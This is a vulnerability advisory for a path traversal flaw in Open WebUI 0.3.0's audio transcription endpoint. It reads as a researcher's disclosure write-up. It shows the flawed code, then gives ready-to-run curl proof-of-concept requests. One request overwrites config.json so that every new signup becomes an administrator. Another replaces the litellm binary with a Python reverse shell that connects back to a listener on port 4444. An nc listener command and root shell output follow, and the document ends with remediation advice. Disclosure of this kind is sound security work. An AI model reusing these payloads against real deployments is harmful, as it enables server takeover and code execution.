Summary

The /audio/api/v1/transcriptions endpoint in Open WebUI 0.3.0 trusts the client-supplied file.content_type and filename. An authenticated user can abuse that to upload a file to an arbitrary location on the host. NVD scores it 8.1 (High), vector CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.

Note: This is RCE. I am still not thrilled this was marked as a High not a Critical. Might seem minor, but it makes a big difference to a college student!

Details

While reading through the source code for the audio API, I noticed an interesting block of code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@app.post("/transcriptions")
def transcribe(
    file: UploadFile = File(...),
    user=Depends(get_current_user),
):
    log.info(f"file.content_type: {file.content_type}")

    if file.content_type not in ["audio/mpeg", "audio/wav"]:
        raise HTTPException(
            status_code=status.HTTP_400_BAD_REQUEST,
            detail=ERROR_MESSAGES.FILE_NOT_SUPPORTED,
        )

    try:
        filename = file.filename
        file_path = f"{UPLOAD_DIR}/{filename}"
        contents = file.file.read()
        with open(file_path, "wb") as f:
            f.write(contents)
            f.close()

The /audio/api/v1/transcriptions appears to take an arbitrary file from the user, do basic validation, and then upload to a location denoted by a filename specified in the uploaded file.

There are two main problems with this block of code. The first is that the file.content_type check can easily be spoofed, as this value is controllable by the user and has no effect on the contents of the file. The second issue is that the filename is derived from user input, allowing for a classic path traversal with arbitrary file name and contents. This is extremely dangerous.

This program is (by default) running as root inside of a docker container. This means that this file overwrite can affect almost any file on the system. As an example, a malicious user could overwrite /app/backend/data/config.json which stores many configurations loaded by the web application. Adding the line "default_user_role": "admin" to config.json will allow all new sign-ups to automatically become administrator users. The malicious user can weaponize this to gain access to an administrator account on the web application. This change will take effect on next restart of the system. Alternatively, a malicious user could overwrite the SQL database storing user authentication with their own credentials, but this would be far more destructive. Restarts are common, so the less destructive method is probably the right choice in most situations.

With newly gained administrator privileges (or with the user level account), the malicious user could also overwrite /usr/local/bin/litellm with a malicious python payload. Then, the malicious user can use their newly gained administrator account to trigger an update to the litellm server. When an update is triggered, a config file is edited and the service is relaunched by running /usr/local/bin/litellm with the updated configuration passed as a command line option. From here, the malicious user can aquire a reverse shell, delete all files on the system, exfiltrate data, or do almost any malicious action possible within the container.

PoC

With user level account: Overwrite /app/backend/data/config.json. Curl command:

1
2
3
4
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2jsBgleZPmAp7KWr' -H $'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjNhMTgzYzUzLWZjZjktNDYwNS05NDhjLWE5YWFmN2Y2Mzk3YiJ9.RNz2T3c6q3M-6VUUd9TGCtWg71hl1GxbsDn-DetDtHA' -H $'Content-Length: 449' \
    --data-binary $'------WebKitFormBoundary2jsBgleZPmAp7KWr\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../app/backend/data/config.json\"\x0d\x0aContent-Type: audio/wav\x0d\x0a\x0d\x0a{\x0a \x09\"version\": 0,\x0a\x09\"ui\": {\x0a\x09\x09\"default_locale\": \"en-US\",\x0a\x09\x09\"prompt_suggestions\": [],\x0a\x09\x09\"default_user_role\": \"admin\"\x0a\x09}\x0a}\x0d\x0a------WebKitFormBoundary2jsBgleZPmAp7KWr\x0d\x0aContent-Disposition: form-data; name=\"collection_name\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary2jsBgleZPmAp7KWr--\x0d\x0a' \
    $'http://localhost:3000/audio/api/v1/transcriptions'

Overwrite /usr/local/bin/litellm, modify payload as needed. Curl command:

1
2
3
4
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Content-Length: 849' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3fQli5yjNeEgKK1T' -H $'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjNhMTgzYzUzLWZjZjktNDYwNS05NDhjLWE5YWFmN2Y2Mzk3YiJ9.RNz2T3c6q3M-6VUUd9TGCtWg71hl1GxbsDn-DetDtHA' \
    --data-binary $'------WebKitFormBoundary3fQli5yjNeEgKK1T\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../../../usr/local/bin/litellm\"\x0d\x0aContent-Type: audio/wav\x0d\x0a\x0d\x0a#!/usr/local/bin/python3\x0a# -*- coding: utf-8 -*-\x0a\x0aimport re\x0aimport sys\x0afrom litellm import run_server\x0a\x0adef spawn_reverse_shell():\x0a    import socket,subprocess,os\x0a    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\x0a    s.connect((\"host.docker.internal\",4444))\x0a    os.dup2(s.fileno(),0)\x0a    os.dup2(s.fileno(),1)\x0a    os.dup2(s.fileno(),2)\x0a    import pty;pty.spawn(\"sh\")\x0a\x0aif __name__ == \"__main__\":\x0a    sys.argv[0] = re.sub(r\"(-script\\.pyw|\\.exe)?$\", \"\", sys.argv[0])\x0a    spawn_reverse_shell()\x0a    sys.exit(run_server())\x0d\x0a------WebKitFormBoundary3fQli5yjNeEgKK1T\x0d\x0aContent-Disposition: form-data; name=\"collection_name\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary3fQli5yjNeEgKK1T--\x0d\x0a' \
    $'http://localhost:3000/audio/api/v1/transcriptions'

Restart the system:

1
2
docker rm -f open-webui
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main

Then create an admin account with the default signup page. If needed, modify config.json after account creation to return to normal signup state.

Set up a listener on your host machine (modify for distribution of nc): nc -l 4444

With admin account: Add a model to litellm (trigger a restart):

1
2
3
4
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Content-Length: 73' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjNhMTgzYzUzLWZjZjktNDYwNS05NDhjLWE5YWFmN2Y2Mzk3YiJ9.D6P9gy0V0HMX1KigEaYXw4SeB6TzrCXU2MNNbDDuUbY' \
    --data-binary $'{\"model_name\":\"gpt-3.5-turbo\",\"litellm_params\":{\"model\":\"gpt-3.5-turbo\"}}' \
    $'http://localhost:3000/litellm/api/model/new'

Enjoy your shell!

1
2
3
4
5
6
7
# id
id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
uname -a
Linux 8c13a65dd43c 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64 GNU/Linux
#

Impact

An attacker writes files anywhere the Open WebUI process can reach, which opens a path to running their own code on the server.

Remediation

Upgrade to a fixed Open WebUI release. Check the upload content type on the server side and store files under a generated name inside a fixed directory.

References